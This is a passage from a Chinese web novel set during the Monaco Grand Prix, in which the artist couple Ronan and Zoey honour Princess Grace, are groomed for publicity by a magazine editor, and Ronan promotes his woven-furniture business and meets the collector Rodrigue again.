虽然现在已经深夜,但这所玫花园里依然有灯光闪烁。 小径上偶尔还会有谈恋爱的情侣携手走过。 而每一个来到这里的人,都会驻足在格蕾丝王妃的青铜像前看一阵子,缅怀一下这位对摩纳哥来说影响深重的人物。 “她也影响了我们。”佐伊抬着脑袋打量铜像。 今晚的成功,离不开面前这位王妃。 罗南和佐伊的想法一样,今天最应该来的是这个地方——认真的、正式的缅怀格蕾丝王妃,不带任何其他目的的。 罗南把带来的白玫瑰放到台子下的白玫瑰花海之中,脸上的表情只有敬重和严肃: “王妃是一位伟大的人,无论是生前还是逝世后,她的影响力都在继续着。” “你觉得王妃这一生过得幸福吗?”佐伊问罗南。 罗南直起身子,站到佐伊的身旁,摇着脑袋说: “太多的信息都是从‘他人’的笔下、口中听到和看到,没有亲身接触,我们很难判断王妃真实的情况,唯一肯定的就是她是一位非常热爱生活的人。” 佐伊的情绪有些激动。 阅读大量资料后,她对王妃的态度非常复杂,当然了,这种复杂是正向的,不过一想到这么优秀的人离开了这个世界,佐伊就忍不住难过起来: “我们要替王妃继续爱这个世界,爱生活,这是仅限的可以为她做的事情了。” 罗南温柔的扶助佐伊的脑袋,让她靠到自己身上,见佐伊的语气蔫蔫的,主动开导她的情绪: “当然,我们会继续热爱身边的一切,我妈妈跟我说过一句话,她说在中国有一句谚语‘热爱生活的人运气都不会太差’。” “这是什么道理?”罗南经常蹦出些不着边际的话,佐伊真想看看他脑袋里都有什么,“那王妃的运气好,表现在哪里?” 那个狗血的摩纳哥王室 罗南耸肩: “可以被无数人记住?即使过了几十年也有人记得她的名字,并来她的铜像前送她最爱的花?” 罗南的‘天马行空’冲淡了佐伊的悲伤,她乖乖的靠到罗南的肩膀上: “希望我们也能获得这份幸运。” 罗南笑着拍了拍她的肩膀: “会的,一定会的,一定会有许多人知道我们并记住我们的。” 佐伊被罗南逗笑了: “你就会哄我开心,你说的这一天什么时候才能到来啊?” 还没喝就飘了? 我们两个还差的远着呢! 罗南紧了紧手掌里佐伊的肩膀: “最终的日子不好说,阶段性胜利.也许是明天?” 第468章 完蛋,出‘绯闻\’了! 别看特奥和巴蒂那帮人叫唤的热闹,说什么今夜不醉不归,一定要决战到天明。 但一个个熬夜的本事老差了。 罗南和佐伊去玫瑰园祭奠完格蕾丝王妃,大家集体去吃了一顿死贵死贵的快餐,再转场去了一间酒馆后刚一坐下他们就哈欠连天起来。 虽然咬着牙玩了一会,很快就一个个败下阵来又不争气的回酒店了。 已经这个时间,大家又困的厉害,返回尼斯不实际也不安全,罗南没有赶朋友们离开。 女生们去了歌迪亚的房间,男士们留在罗南和佐伊的房间,就这样挤着睡了一夜。 罗南是真的累了。 前一天开了好几个小时的车,还是大堵车,踩离合的脚腕特别酸,下午和晚上又去观看了排位赛和晚宴,早就撑不住,躺下的瞬间就昏迷了过去。 第二天一早,被敲门声吵醒。 看了一眼表,发现还不到早上6点。 “谁啊?”特奥像鸡窝一样的脑袋扬起来。 “可能是歌迪亚。”罗南揉了揉眼睛,在衣服海里艰难的找到自己的那身,一边往身上套,一边站起来去开门。 昨天歌迪亚说,由于这届摩纳哥F1赛事曝光升级,今天上午临时加了一个行程,让罗南和佐伊去参加赞助商的艺术活动。 不过这时间也太早了点吧? 晕晕乎乎的打开门,罗南马上清醒了。 外面站的居然是伊内斯,她今天穿了一身运动装,是罗南没有见过的一面。 “准备一下,一会出去。”伊内斯没有过多解释,指着房间里面,简练的说,“让佐伊也醒一醒,不用化妆和准备,楼下有化妆间和化妆师。” 不等罗南开口说什么,屋子里传来特奥不耐烦的抱怨: “谁啊,这么早,还让不让人睡觉了?罗南你赶紧把门关上,给我回来继续睡。” 伊内斯有一刹那的错愕,忍不住往房间里面看,这里面住的不是罗南和佐伊吗? 只见一个壮得像双开门冰箱似的大汉光着上身(下面也没穿太多)堵在门口,那胸口毛浓密的都打结了,黑黢黢的一片: “罗南,这女的是谁?” 罗南赶紧把门关上,把卡福的香艳床照隔绝到门板之外,同时对伊内斯解释: “出了点小意外,佐伊昨晚没在这里睡,来了个朋友。” 这间房子的费用由米切兰杂志社承担,目的是给罗南和佐伊参加活动期间休息使用。 罗南有点不好意思说这屋子里其实住了一个村的人。 伊内斯点了点头,没有说什么。 不过不知道是不是罗南想多了,他总觉得伊内斯看他的眼神变了,变得没有平时清澈了。 突然,罗南身后的门猛地向外推开。 巴蒂穿着一件露着肚脐的紧身红色T恤探出头来看了一眼,他的身材配上这身衣服,再加上反应让这位编织艺术家特别像是个精神不太正常的大变态。 他一边往里面跑,还一边兴奋的喊: “我就说这声音是如此的熟悉!衣服,衣服,我的衣服在哪儿?该死的罗南,把它们扔到哪里去了?” 伊内斯皱着眉头看罗南,眼神更加不清澈了。 透过门缝,她又看到房间里居然还有第三个、第四个和第五个‘衣衫褴褛’的壮汉 半个小时后。 同一所酒店的米切兰杂志社专用化妆间内。 “你现在的情况和以前不一样了,一定要爱惜羽翼。”伊内斯在化妆间里不停的踱步,表情一会阴一会晴的,“你有给我解释的机会,但那些小报记者不会给你开口的机会,他们看到什么就会写什么,你知不知道,他们会把今早的那个景象写成什么样子?下次再发生这种情况,你绝对不能开门!死也不能开!” 如果说早上看到伊内斯,开机进度读取了30%。 那么在听伊内斯叨叨了十几分钟后.罗南那有些发蒙的脑袋终于完全开机了。 他不知第多少次解释: “我的朋友们只是在我这里借宿一晚,应该没有那么严重吧?” 伊内斯郑重的说: “我说了,现在的情况不一样,你知道现在南法和摩纳哥有多少媒体和杂志在四处寻找你和佐伊的细节吗?你知道此时此刻有多少人在熬夜赶关于你们的稿件吗?你又知不知道.今天有多少双眼睛会盯着你们看?” 罗南紧张的咽了下口水: “那么多吗?” 坦白讲,罗南知道今天他和佐伊会备受瞩目。 否则不会在开导佐伊情绪时说那句话。 直播中的特写和在王室晚宴中的表现将他们送上了‘风口浪尖’,尼埃三世亲王送上的礼物更是让罗南力压斯蒂芬妮公主的风头.成为了昨日的焦点。 但伊内斯口中的情况比他预想中还要严重啊。 伊内斯拍着罗南的肩膀说: “你可以觉得我是小题大做,但在这个重要的关头,绝对不能出疏漏,记住,今天你只能把最好的一面展现给大家看。” 说罢,她指着佐伊身边的化妆椅说: “过去,你也把妆化了。” 罗南连连摇头: “不了不了,上次拍摄我就没化妆。” 主编大人用不容置疑的语气说: “我说了,现在的情况不一样,要用更高的要求约束自己.你不想被人说成是佐伊身边的保镖吧?” 保镖是不是比司机好一点?罗南无厘头的吐槽。 吐槽归吐槽,他看向在另一边安静化妆的佐伊。 虽然只是刚刚开始打了个底,就让罗南联想到了‘天生丽质’这个单词。 想了又想,罗南终于妥协了下来: “好。” 伊内斯嘱咐化妆师: “给他好好打扮一下,彻底的,和真正的明星一样。” 歌迪亚给罗南和佐伊安排了一个艺术活动的行程,在上午的10点半。 整个活动非常简单,去讲一下佐伊送去的作品创作理念,再认识点朋友没有什么需要准备的。 她把闹钟订到了早上7点半,这个时间起来收拾化妆,时间绝对充裕。 不过她朦朦胧胧间听到早上有人来敲门,还听到佐伊似乎说了一句什么去化妆,之后.之后她就继续做梦了。 年纪大了,熬不动夜了。 晚睡了几个小时而已,早上就跟安眠药劲儿没过去似的。 闹钟准时响了起来。 歌迪亚磨磨蹭蹭的爬起来,发现佐伊不在屋里,才反应过来原来刚刚的不是梦,佐伊真的提前起来化妆了。 不在这间屋子里,那一定是去了罗南的房间。 歌迪亚简单洗漱了一下,随手拿了一颗苹果,一边吃一边走去同一楼层的罗南房间。 敲了几下门,没有反应。 她靠在门边听了听,没有任何动静。 “这帮家伙睡的太沉,没听见敲门?” “还是出去了?” “又或者是罗南和佐伊在里面做坏事呢?” 无数合理和不合理的想法纷涌而出,让歌迪亚更加迫切的想要知道里面发生了什么。 又敲了几下,终于出现了开锁的声音。 康奈尔不耐烦的说: “哎呀,这破酒店床不怎么样,隔音还挺好,我们在里面喊等一等喊的嗓子都哑了。” 歌迪亚推开门,发现康奈尔的人已经跑没影了。 “你们干什么?”她抬腿走了进去,大声问道。 “和明星合影呢!”深处传来特奥的坏笑。 “喂,妈妈?你们醒了吗?醒了就快点过来,明星一会就走了,你们也过来合照啊!”康奈尔对着话筒嚷嚷。 “罗南,你结婚的时候也要打扮成这样吗?那谁还敢当你的伴郎啊?”卡福双手抱胸,啧啧称奇的问。 歌迪亚往前走了两步,待看清里面的‘明星’后手里的苹果都掉了,砸到了她的脚面上。 她哆哆嗦嗦的指着正在比耶的罗南: “你你你你你你把头换了?” 罗南的头发变短了一些,蓬松的向后梳着,一边留有自然的刘海,上面纹理清晰,是时下最流行的样子,而且是巴黎那边的。 浓密、有形的眉毛使得面部立体硬朗了许多,不知道是不是错觉,歌迪亚觉得罗南的眼睛都变深邃了。 昨天她就在琢磨——小伙子长的不错,也精神,但和佐伊站在一起怎么总觉得差点什么呢。 今天她终于弄清楚了——人家佐伊是按照‘明星’的标准倒饬自己,而罗南就靠一身衣服撑着根本就不在一个维度好吗? 此时罗南还没有换衣服,只是穿了件T恤,但和旁边的佐伊终于来到一个世界里了! 从罗南一回来,周围人就是这幅样子,他都习惯了,特别松弛的对歌迪亚耸肩: “这你要问米切兰杂志社的化妆师了。” 在他对面,正在给大家拍照的佐伊放下相机,左看看右看看: “我大概看会了,下次我也给你这样化,很自然,看不太出妆感。” 歌迪亚疑惑的问他们: “罗南怎么也化妆了?米切兰杂志社为什么要给你们化妆?” 佐伊的妆容比昨天还要华丽和美艳,显然也是出于米切兰杂志社专业化妆师之手。 罗南突然拍了下脑袋,显然是想到了什么重要的事: “一进来就被你们拦下来,差点忘记了正事,亲爱的,我们赶紧去换衣服,伊内斯的车子还在楼下等着我们呢。” 歌迪亚愣愣的跟在手忙脚乱的佐伊身边,懵逼的问: “什么活动?我们的活动在上午10点啊,现在刚7点多。” 佐伊长舒一口气,也很懵逼的说: “伊内斯给我和罗南临时安排了许多工作,从早上8点开始,一直持续到下午的正赛之前.你也快去收拾吧,5分钟后我们在电梯口集合。” “8点开始?”歌迪亚头发都炸起来了,“这么早哪里有什么活动啊?最早的活动也要9点多开始。” 这里是比普罗旺斯更加松弛的摩纳哥。 8点能去干什么? 罗南拿着自己今日的服装,与佐伊一起进入卫生间: “还早?伊内斯今天的工作从早上6点就开始了,和某个奢侈品牌的总监晨跑、吃早餐,伊内斯说,这种重要的日子一天都要拆成五天用,不能有什么喘息的时间,等今天过去,想怎么休息就怎么休息,她不拦着。” 继巴蒂之后,伊内斯又成为了歌迪亚的女神。 不仅仅是因为伊内斯的一天拆成五天用言论,还有她的眼界、手腕、专业、执行力和行业地位。 歌迪亚是罗南和佐伊的经纪人,自然要全程跟着他们。 罗南和佐伊于8点到达某一个咖啡厅和一众普罗旺斯明星吃早饭时,歌迪亚和一同来的米切兰杂志社工作人员闲聊,得知罗南和佐伊今天的所有活动,都是伊内斯昨晚回到酒店后临时安排的。 也就是说,看到了罗南和佐伊的潜力和表现后,这位南法‘媒体女王’马上增加了投入力度,把一个又一个的资源砸下去。 她的动作是如此的迅速,又如此的高效,没有任何拖泥带水——真的如她所说,把一天当成五天给罗南和佐伊安排。 上午,小情侣和两批不同的人吃了两次早餐,在中午之前,又去打卡了每一个赞助商的每一个活动,虽然每个地方待的时间都不长,但无论到哪里,他们都是绝对的焦点。 两位艺术家在自己的努力和伊内斯的推动下,在摩纳哥得到了和巨星一样的待遇。 今天,他们注定要像明星一样璀璨! 歌迪亚已经数不清米切兰杂志社给他们拍了多少照片,罗南和佐伊又与多人人握手攀谈,反正她已经出现了幻觉,觉得自己的腮帮子也因为不停休的微笑而一阵阵发酸。 当然了,她的腮帮子今天也过劳了。 每到一个地方,就有合作方找歌迪亚约合作并交换联系方式,毫不夸张的说,歌迪亚包里的圆珠笔笔水下去了老么大一块。 “发达了,发达了!这两个人未来的路稳了!”歌迪亚把自己锁到厕所的隔间里,开心的扭动了起来。 歌迪亚所关注的是曝光层面的收获。 例如罗南和佐伊多了多少物料,被哪些大牌所青睐,又有多少人对他们发出了邀请。 曝光提高,知名度就会提高,人的价值也会相应的提高,那么未来无论是艺术作品还是出席活动都会非常容易的变现成金钱。 而罗南在意的‘变现’途径更加宽泛。 今天参与了那么多活动,认识了那么多人,还被那么多人关注到,广告要赶紧打起来啊! “艺术家只是我其中一个身份,我还是餐厅老板、酒庄负责人和手工艺合作社主席,嗯,严格意义上讲,我还是一位正在尝试用现代科技培育野生黑松露的大胆试验人,你们吃过中餐吗/爱喝粉红酒吗/听过编织吗?反正闲着也是闲着我给你们讲讲?” 以摩纳哥为中心,以普罗旺斯为半径,罗南把他的各种生意像种子一样撒了出去,养分和水源是新认识的一个个人脉,只等开花结果的那天。 第469章 来了条大鱼 在伊内斯的安排下,罗南和佐伊在上午参加了许多活动,其中有一半都是和艺术相关的。 摩纳哥是彻头彻尾的‘精英社会’,而艺术又是奢华背景中不可或缺的组成部分。 在这个弹丸之地,艺术氛围和艺术气氛比历史悠久的普罗旺斯还要浓厚,许多地标性建筑都是和艺术相关的,例如蒙特卡洛大剧院等。 摩纳哥F1大奖赛组委会在许多年前就尝试着把高端艺术融入赛事,以树立特色风格。 F1的车队们很接纳艺术的融入,这可以提升自身品牌调性和形象。 而那之后,给这个分站赛赞助的合作商,多多少少也都和艺术有着千丝万缕的关系。 每年大奖赛期间,摩纳哥都有一种别样的风采——不少赞助商和车队会在比赛前后举办规模不小的艺术派对,这现象被外界戏称为“F1艺术周”。 摩纳哥的艺术气氛本就浓厚,再加上今年摩纳哥王室在比赛期间举办了一场声势浩大的艺术特展,吸引来了不少国内外的艺术大咖们。 这使得摩纳哥更加备受瞩目,闻讯而来了更多和艺术有关的从业者和爱好者。 而这批人中占比最大的,自然是家门口的普罗旺斯人。 在其他领域,罗南和佐伊可以用‘初出茅庐’来形容,见谁都是一副谦卑模样。 但在艺术圈.小情侣还是有一些根基和地位的,尤其是在普罗旺斯艺术界。 在今天上午的艺术活动上,他们遇到了好几个普罗旺斯艺术界的‘老熟人’。 比如在某个奢侈品店,遇到了来看展览的雕塑家马里尼,这家伙正在为加布里埃尔挑选有F1特色的最新款手办。 又比如在某个派对上听说普罗旺斯著名艺术藏家桑松女士刚刚离开,去下一个品牌‘扫货’去了。 不过无论遇到谁,罗南的目的都不会变——那就是尽可能多的宣传他的生意。 “编织家具的特色首先是原生态,用的每一寸材料都是纯天然的,坐在用葡萄藤编织的椅子上,你会感觉自己躺在了漫山遍野的葡萄园里;其次是环保,每一件家具都可以生物降解,而且藤蔓类植物生长周期较木材来说更加短;第三个优势是透气性与舒适性,网状结构促进空气流通,避免闷热,我想你们都有过在炎热夏天从椅子上起来发现裤子湿透的窘况吧?” 罗南停顿了一下,看向另一边的几个人,笑着继续介绍: “尤其是住炎热的普罗旺斯而且藤条柔韧更贴合身体曲线,搭配上靠垫久坐不易疲劳;编织家具还轻便灵活,重量比实木家具轻将近一半,如果不想用了,放在户外就行,特别节省收纳空间;最重要的是编织家具易于维护,经防霉处理后,耐潮湿、抗虫蛀,打理的时候一点都不用费心。” 前一天,罗南是小透明,只能跟着其他人的话题聊,找到可以融入的地方,才能‘见缝插针’的说点想说的。 但今天,他和佐伊变成了活动中的焦点。 最大的变化是,罗南有了起话题的权利。 陌生人相聚到一起做完自我介绍,通常会把话题引到罗南和佐伊的身上,比如问问晚宴上的具体细节,求证几个今天八卦杂志上写的信息等等。 回答完大家想知道的东西后,罗南很熟练的把话题引到他的一桩桩生意上。 但相较于餐厅和斯特斯加,对编织家具感兴趣的人非常少。 编织这种艺术品类都算小众,由它制作的家具就更小众了。 因此罗南提高了提起编织家具的频次。 不过幸好,活动的主题大多围绕艺术展开,聊起编织并不显得突兀——这本就是艺术的一种形式啊。 “编织家具吗?有点想象不出来它的样子”在这个活动上,罗南碰到了昨日在排位上认识的钢琴家埃里伯尔。 这个家伙昨天对罗南和佐伊就非常主动,今天更加积极了,几乎全程站在罗南的身边,不去和其他人交谈了。 罗南给埃里伯尔介绍: “你不是说这个月要去卢尔马兰尝尝地道的中国美食?我再带你看看编织家具,我们的工人在卢尔马兰,未来的旗舰店也将在那里。” “还有旗舰店?”罗南身边的另一个人与友人互看了一眼,笑着打趣,“怎么,难道你要跟奢侈品一样,也在旗舰店里举行点什么活动?” 这些人现在所处的派对,就是某国际奢侈品牌在摩纳哥的旗舰店里。 这所主卖皮具的国际奢侈品大牌,把这间旗舰店装扮成了一个临时的皮具博物馆,虽然宣传口号打的是XX和摩纳哥大奖赛携手15周年回顾,实际上展出的是这家皮具品牌的百年历史。 通常情况下,这个年代只有非常高端的品牌才会以‘旗舰店’来称呼某个大型店铺,而兴建旗舰店的目的除了展出更多的样品外,还有一个大家公认的作用——举办大型品牌活动。 但卖家具的旗舰店还是编织家具。 一些有经验的人都很稀奇,你确定? 罗南回忆着桑德琳之前给他的培训说: “卢尔马兰手工艺合作社不仅有自己的旗舰店,还有非常严格的VIP制度,而且是邀请制我可以提前剧透一下,年底我们会举办一场特殊主题的‘发布会’,只有100位顾客可以参与。” “真的假的?”能在这个场合出现的人非富即贵。 他们自然知道罗南口中的vip制度,也听说过特殊主题发布会,但那都是非常高级的奢侈品才会采用的手段。 但你这个编织家具 不是兄弟,你来真的啊? “抱歉,我冒昧的问一句,这间合作社所售卖的家具.价格大概是?”另一个人礼貌的向罗南提问。 罗南解开了自己的袖口,向上挽了两下: “那要看是谁制作的,普通家具有普通家具的价格,如果是我亲自做的.” 他做了一个摊手的动作: “那恐怕没有上限了,我和我的团队还没有统一意见,未来有可能会在旗舰店里举行一次拍卖会,拍卖的家具全是我和另一位编织艺术家制作的。” 除了自用的、给朱莉特的和被特奥抢走的家具,罗南做的所有家具样品都安安静静的摆放在阿普特的实体店铺里,卡福特意留下,没有卖出去。 以前卡福说,这东西要留下来等升值,罗南还觉得夸大其词了。 涨能涨多少啊? 有人要,3、4万法郎就卖了。 但经过这次在摩纳哥的洗礼,还有马上发刊的《普罗旺斯艺术指南》.罗南相信他的那些样品家具一定会有人抢着收藏。 而且,看样子伊内斯未来将投入更多的资源到罗南和佐伊的身上,他们两个在艺术界的地位指不定会一飞冲天到哪里。 到时候举办个人展览或者个人作品拍卖会完全没有问题。 罗南想的挺好,鼻尖全是法郎的香气。 但他周围新认识的朋友们可就有点犯嘀咕了。 事实上,有超过80%的人都是因为小道消息或者今天的八卦杂志才认识罗南和佐伊,对他们两个的艺术生涯一点不太了解,尤其是普罗旺斯以外地区的人。 他们不敢给罗南泼冷水,只是不走心的恭维着虚伪的话语。 罗南讪讪地笑着,也没往心里去。 “罗南?!”突然,一道突兀的声音出现在众人的身后。 罗南闻声望去,马上快步迎了上去。 今天上午遇到了许多‘老熟人’,但这位是让罗南最最意外的。 因为他已经好久好久没有听到过对方的名字了。 “罗德里格先生,您也来了?”罗南伸出手,迎了上去。 没错,这位老熟人正是收下‘希望’的普罗旺斯个性藏家罗德里格,如果没有他,罗南的甜品很有可能会在戈尔德‘铩羽而归’了。 罗德里格也无比意外,隔着四五米远就撅起屁股,把手伸了出去,似乎想要赶紧拉住罗南的手: “你这家伙.我都多久没有见到你了,居然今天在这见着了。” 罗南尴尬的和罗德里格先生握了几下手,心想这人怎么还能抢了他的词呢? 在戈尔德系列活动结束,是谁信誓旦旦的说,要去卢尔马兰找我的? 我等啊等啊等你放了我的鸽子,怎么听起来反而还成我的问题了? 罗德里格在普罗旺斯艺术界的地位比较特殊,他不止是一位实力藏家,还是一位超级富豪。 富豪到大大小小的博物馆、展馆和艺术机构都要巴结他的地步。 毕竟这家伙随便一拍,就能让他们手里那些看走了眼的‘垃圾’价值连城! 罗德里格的‘传说’不止在普罗旺斯范围内传播,罗南身边的几个家伙都认出了眼前真正的‘大富翁’,纷纷向他打起招呼。 但罗德里格的眼睛里只有罗南一个人,他用力拍了拍罗南的胳膊: “你这小子,正事不干,在别的事儿弄出不少动静啊,早上我看报纸上写,你得到了一张格蕾丝王妃拍摄的照片?出不出手?我告诉你啊,‘相思鸟’是因为有诺曼德施压,这次不管是和谁抢,我都要一争到底了。” 罗德里格的‘开门见山’让罗南一阵无语。 我知道你是疯狂的艺术藏家,看到好的东西就想据为己有,但你也不能这么直白的找我要吧? 他赶紧摆着手解释: “我和佐伊要珍藏那张照片,不会卖也不会送拍。” “哎呀,遗憾,太遗憾了,我已经收藏了王妃的8张照片,再收集几张就能成册了。”罗德里格嘟囔了几句,并没有松开罗南的手,继续问,“那你的作品呢?我已经好几个月没在普罗旺斯的大小艺术活动上看到你的作品了,只有佐伊的你的作品去哪儿了呢?” 罗德里格说要去卢尔马兰找罗南是认真的。 但他放罗南鸽子也是经过深思熟虑的。 戈尔德艺术活动后,罗德里格飞去国外参加了几个展览,回来已经三四月份了。 在他打算去卢尔马兰找罗南聊后续合作时,发现这小子参加完戈尔德的活动后就‘查无此人’了。 艺术活动一个没参加,也没有拿得出手的新作品。 罗德里格甄选合作伙伴的门槛非常高,见过的天才艺术家也不少,他担心罗南‘黔驴技穷’,拿不出手什么厉害的东西了。 今天意外的见面,罗德里格最想弄明白的事情就是——罗南的下个作品将在什么时候面世。 那将决定他之间的计划是否继续。 类似的问题,罗南已经在一个月前被桑松女士逼问过了。 普罗旺斯对罗南下一个作品虎视眈眈的人又何止一个? 不知道多少双眼睛都盯着他呢。 而且参加完摩纳哥大奖赛后,一定有许多和罗德里格一样,把他忘记的‘朋友’,再次将他回忆起。 罗南搬出了给桑松女士的同样答案: “抱歉抱歉,最近一门心思在准备我和佐伊的婚礼,一直没有什么创作的契机,但我相信这个契机不会遥远了,不知道您知不知道,卢尔马兰要扩建了,而且要扩建不小的范围,那里未来可能要举办很多活动,其中一定有和艺术相关的身为卢尔马兰的‘女婿’,卢尔马兰作为东道主举办的活动我必须要参加啊。” 罗南的所有根基都在卢尔马兰。 让更多的人关注卢尔马兰、去卢尔马兰,罗南必定会从中受益。 艺术活动罗南肯定会继续参加。 但在外面参加哪有在卢尔马兰参加的舒服和自在? 布兰科说,扩建的区域里会有专业的活动场馆,卢尔马兰有那么多艺术家,举行艺术活动不是说办就办的事? 如果下一个作品是很大‘噱头’,罗南愿意用此去钓更多的人。 比如桑松女士,又比如面前的罗德里格先生。 罗德里格根本不在乎活动在哪里举行,他只关心罗南的作品是什么: “好,记得提前通知我啊,我必须拿下你的下一个‘甜品’艺术品。” 说完,他就要转身离去。 但罗南一个箭步将人留下,补充道: “我现在做的编织艺术品也不少,到时候您一起看看。” 罗南的思路无比清晰,今天的目的就是来宣传各种生意。 来了罗德里格那么大一条鱼,怎么能轻易让他离开呢? 第470章 卢尔马兰再添一名猛将! “编织艺术品?”罗德里格慢动作般倒放退了回来,“详细讲讲。” 罗德里格对一切小众、猎奇的艺术品类感兴趣,什么破砖烂石头都是他的心头宝,罗南可是问对人了。 罗南简单的给罗德里格科普了一下编织技艺的起源和当代发展,又把刚刚给周围几个人科普的编织家具优势复述了一遍,最后特意强调了一句: “目前这个艺术品类在普罗旺斯还不太流行,只有我和我的朋友巴蒂在围绕其做创作。” 罗德里格努力回忆起来: “我在戈尔德看过你那个朋友的作品,在一个艺术展览上。” 编织还是太小众了,那个作品长什么样来着? 见罗德里格的眼神很犹豫,罗南随手从一旁的桌子上拿起一根麻绳,三下五除二的编成了一朵花的样子,递到罗德里格面前,笑着说: “其实编织的分类很庞大,很多东西都可以用来创作,甚至还可以用海草我在卢尔马兰有一间手工合作社,是专门做编织家具的,主材料用的是较为常见的藤蔓,在普罗旺斯,这种工艺的家具只有我们在成规模的售卖,哪天您有时间了,可以过去看看。” 听到罗南口中的‘成规模售卖’,罗德里格的眼睛马上发出了亮光。 收集猎奇艺术品只是罗德里格身上的‘保护色’,扒开伪装看内核,他实际是买下那些奇葩艺术品用来变现的! 罗德里格曾把艺术品所有权买下来授权给家具厂商,设计出了在法国非常流行的某款沙发,每卖出一个就要分给罗德里格一部分钱。 他还曾把多个艺术品工业化,赚得盆满钵满。 首先,罗南的编织艺术已经‘规模化’。 其次,还是他曾经有过成功经验的家具类别.这不就上天给他安排的吗? 罗德里格热情的再次握住罗南的手: “可以啊,你的手工艺合作社在卢尔马兰?看来这趟卢尔马兰我是必须要去了!” 罗南回握住罗德里格先生的手,庆祝他们再一次达成深度合作,就是不知道是不是依然会被放鸽子: “对,在卢尔马兰,那我就在卢尔马兰等您了。” “好好好,我一定去,一定去!”罗德里格一把抢过罗南手里的编织花。 罗南目瞪口呆,小手下意识的抓了一下,但只抓到了一团空气。 喂喂喂,我只是给你看一看啊,怎么还能抢走呢? 罗德里格一边把那朵花塞进西装内衬口袋里,一边哈哈大笑的说: “等你的作品上了拍卖会,说不定又把什么国宝特权和特殊加价权炸出来,参加几十轮的拍卖会太熬人了这个东西当作给我的补偿了!” 见围观的人表情异常丰富和复杂,罗南只好笑着摇头: “随手做的东西,您喜欢是我的荣幸。” 罗德里格拿完东西就跑: “你罗南随手做的东西也是价值连城啊,走了,去之前我给你的经纪人打电话。” 罗南心满意足的目送罗德里格先生离开。 算了算了,拿走就拿走吧,就当交广告费了。 罗德里格的反应就是最好的宣传。 大家都看到他把罗南手里那朵花收起来时,动作有多迅速.像是怕有人要跟他抢似的。 虽然这位收藏家以收藏猎奇和小众艺术品著称,但他的的确确能把那些艺术品的价格炒上去。 抛开艺术品类不谈,罗德里格的态度和反应,让这些对罗南没有那么熟悉的人,对这位普罗旺斯艺术家的情况有了一个相对具象的认识。 只要不是瞎子就能看出来——罗南在普罗旺斯艺术界的地位似乎很超群啊? 那么大的藏家是阿猫阿狗就能认识的吗? 你看罗德里格还搭理这周围的谁了? 于是乎,大家对罗南口中编织家具的态度来了一个一百八十度的大变化。 “罗南,你之前说的那场特殊主题的‘发布会’什么时候举行,我可以现在就预约两张门票吗?” “诶对对,给我也加两张,我去涨涨见识。” “你们还有什么活动?也一起介绍一下啊。” 周围人的态度转变没有逃过罗南的眼睛,这和刚刚的敷衍完全不可同日而语嘛。 显然广告费起效了! 不过你们只能空积极一场了朋友们。 “那场特殊主题的‘发布会’只会邀请VIP参与,而且只会邀请VIP中的100人。”罗南按照桑德琳的教导解释规则。 钢琴家埃里伯尔主动追问: “如何才能成为VIP呢?” 罗南露出了一个腼腆的微笑: “我们刚刚起步,所以规则相对简单,很好达成的,只需要在一个自然年内累计消费5万法郎。” “买5万法郎的家具?还是在一年里?”周围人又不淡定了。 你是不是疯了? 还真当自己卖的是奢侈品了?? 罗南比旁人多了一世的记忆,尤其之前因为职业的原因,他很关注编织家具这个类目。 不止在普罗旺斯,其实后世在整个法国范围内,都没有哪个品牌把编织家具做的非常好、规模非常大。 知名编织家具品牌集中在意大利和北欧几个国家,法国境内的编织家具市场都被它们几个瓜分了。 90年代,曾有一个名为DEDON的编织家具品牌在法国创立,但他们的主创团队来自德国,而且做的并不好,一直半死不活的经营着。 不过即使做的很差,一把户外椅子的售价也在2000-6000欧之间,一组模块沙发要8000欧起,可见编织家具无论在哪个年代、哪个国家都注定要走高端路线。 那些水土不服的德国人都敢把价格标的那么高,罗南坐拥普罗旺斯的天时地利人和,还有知名艺术家身份,卢尔马兰手工艺合作社要做的肯定比那个DEDON更加高端。 而且,现在国外品牌还没有进入法国,市场全部是罗南的。 经营方面已经步入正轨,罗南下一步要改进的就是产品和定价,之前一把椅子卖3000-6000法郎算是他们的‘开业大酬宾’,等这次回去,他就要着手给新款式的家具慢慢提价。 5万法郎很贵吗? 说不定连一个餐厅都填不满呢。 面对周围的质疑声,罗南回以自信的微笑: “5万只是成为vip的标准,想要参加我们的特殊主题发布会门槛会更高.5万法郎可有点难呢。” 疯了,这个人一定是疯了!——这是在场众人心中统一的吐槽。 桑德琳说了,只要对上脑电波、能说出故事、让顾客觉得自己尊贵无比,他们的家具标价多少都一定会有人买。 让罗南不要有什么心理负担,讲vip的时候大大方方的,最好再加一句5万只是一个‘起步价’,我们的入会标准每年都会更新。 罗南一想也确实是这么个道理,都跟艺术扯上关系了,那必然是无价的,他做出来的一个不能吃的甜品都能拍出去40多万法郎,何况实用性这么强的家具呢? 他听话的把卢尔马兰手工艺合作社的vip制度讲给一些人听,收获的大部分是惊讶的眼神和一些憋在心里的暗骂。 罗南倒是没把这事太往心里去,只能说这些人不是他的目标受众! 不过,用嘴说的确差点意思,等他们的旗舰店开起来了,好好布置一下,相信在那个环境和氛围下,一定会有人觉得物有所值的。 上午参加完活动,中午又被安排了一次工作性质的午餐,还没到下午的正赛,罗南和佐伊就‘没油’了。 这种高强度的社交比在家里干体力活儿还累,他们两个进入正赛看台后都没有力气说话了.只想在那瘫着。 但周围的嘉宾不肯给小情侣喘息的机会,只要他们在包厢里坐着,就一定会有人过来打招呼。 甜蜜的烦恼虽然也很甜蜜,但多少也得留出点喘息的空间啊 罗南和佐伊对F1和比赛没有兴趣,过程中去了三四次卫生间,为了能让大脑和身体稍微休息那么一下。 “昨天还在挖空心思想着如何认识更多的人,24小时之后,我们居然开始逃避人群了。”佐伊在一个拐角住,小声对罗南抱怨。 罗南揉了揉脑袋: “行了,快进去吧,我们这么频繁的一起去厕所,万一被八卦媒体看到,不知道会写成什么样,伊内斯说了,今天要用‘明星’的标准约束自己。” 早上那顿‘教育’不能白听,罗南对自己的要求老严格了,面部表情管理就没有停下过。 佐伊用力抓住罗南的手腕: “用‘明星’的标准约束自己,就改掉揉头发的习惯,你的发型都乱了” “哎我还是不太习惯这样的自己。”罗南嘟嘟囔囔的整理了两下头发,“这也太累了。” “哈哈,我能理解你们的感受,一开始确实很不习惯,但慢慢就好了,就是一个习惯的过程。”一道陌生的女声打断了佐伊和罗南的独处。 他们定睛看过去,同时停下了手上的动作。 “你们好啊。”明艳打扮的夏洛特·维吉妮微笑着出现在这个隐藏的转角。 虽然这两天接触了许多国内外明星,但眼前这位的出现还是让罗南和佐伊感到一阵惊讶。 